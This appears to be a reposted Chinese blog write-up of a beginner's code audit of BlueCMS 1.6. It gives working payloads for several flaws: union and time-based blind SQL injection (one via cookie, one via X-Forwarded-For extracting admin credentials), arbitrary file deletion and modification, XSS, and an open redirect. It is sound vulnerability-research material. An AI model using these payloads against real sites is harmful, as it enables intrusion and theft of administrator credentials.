• Bluecms1.6代码审计


    ad_js sql注入

    数字型注入
    在这里插入图片描述

    1%20union%20select%201,2,3,4,5,6,(select%20user())
    

    在这里插入图片描述

    common.inc.php sql注入

    此文件在include下,应该是一些基础的函数或配置,所以任何包含此文件的都可以进行注入emmm
    找到publish.php,正好包含了该文件
    在这里插入图片描述
    common.inc.php注入点:

    if(!$_SESSION['user_id'])
    {
    	if($_COOKIE['BLUE']['user_id'] && $_COOKIE['BLUE']['user_name'] && $_COOKIE['BLUE']['user_pwd'])
    	{
     		if(check_cookie($_COOKIE['BLUE']['user_name'], $_COOKIE['BLUE']['user_pwd']))
    		{
     			update_user_info($_COOKIE['BLUE']['user_name']);
     		}
     	}
    	else if($_COOKIE['BLUE']['user_name'])
    	{
    
    		$user_name = $_COOKIE['BLUE']['user_name'];
    		$user = $db->query("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");
    

    可以看到如果没有进行登陆,并且只有$_COOKIE['BLUE']['user_name']有值,就会进行sql查询,不过貌似这里只能盲注
    在这里插入图片描述
    延迟之后自动跳转到登陆页面,为了看的清晰我先把跳转注释了:
    在这里插入图片描述
    也没什么过滤,延时成功
    在这里插入图片描述
    poc:

    BLUE[user_name]:w4'and if(((ascii(mid((select database()),1,1)))=98),sleep(3),0)#
    

    publish.php 任意文件删除

    在第316行:
    在这里插入图片描述
    参数$act可控:
    在这里插入图片描述
    id也可控,新建一个test页面:
    在这里插入图片描述
    在这里插入图片描述

    publish.php?act=del_pic&id=test.php
    

    再次访问:
    在这里插入图片描述
    任意文件删除的地方有不少就列这一个吧~

    user.php xss

    邮箱处存在xss
    在这里插入图片描述
    在这里插入图片描述

    admin/card.php xss(反射型)

    name处无过滤直接输出,所以只能弹一下
    在这里插入图片描述

    name=<script>alert(1)</script>&value=1&price=1&act=do_edit&id=1
    

    在这里插入图片描述

    user.php 文件包含

    在这里插入图片描述
    这里包含点可控,但是主要是后面的index.php,%00截断不成功,我参考了网上的文章,用

    Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节

    的思路,版本为5.2,但是怎么都包含不了,占坑

    comment.php xff注入

    payload;

    1','1'),('','1','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
    

    在这里插入图片描述

    tpl_manage.php 任意文件修改

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    user.php 任意跳转

    在这里插入图片描述
    或许可以用来ssrf什么的,需要base64编码
    在这里插入图片描述

    总结

    第一次看cms,不知道从哪入手,有点无力,有些明显的洞有时候还是没注意,不过还好小型的cms代码没那么复杂,漏洞也比较简单好利用,算是第一次入手吧,还算小有收获,以后审cms最重要的还是得从用户输入着手看 只不过这个源码有点不稳定?(nah)

  • 相关阅读:
    C# NAudio 变声
    初探Protostuff的使用
    CentOS7 配置阿里云yum源,非常之简单
    javacv 视频增加视频(画中画)
    抓包调试fiddler
    CentOS7 手动编译升级GCC至9.3.0
    C# CefSharp 新版本(83 以后版本) 如何在js中直接调用c#类
    毕业设计——驾驶证理论考试系统的设计与实现 2022年1月2日20:35:14
    送餐机器人乐动雷达记录
    linux下拉取git代码
  • 原文地址:https://www.cnblogs.com/W4nder/p/12528857.html
Copyright © 2020-2023  润新知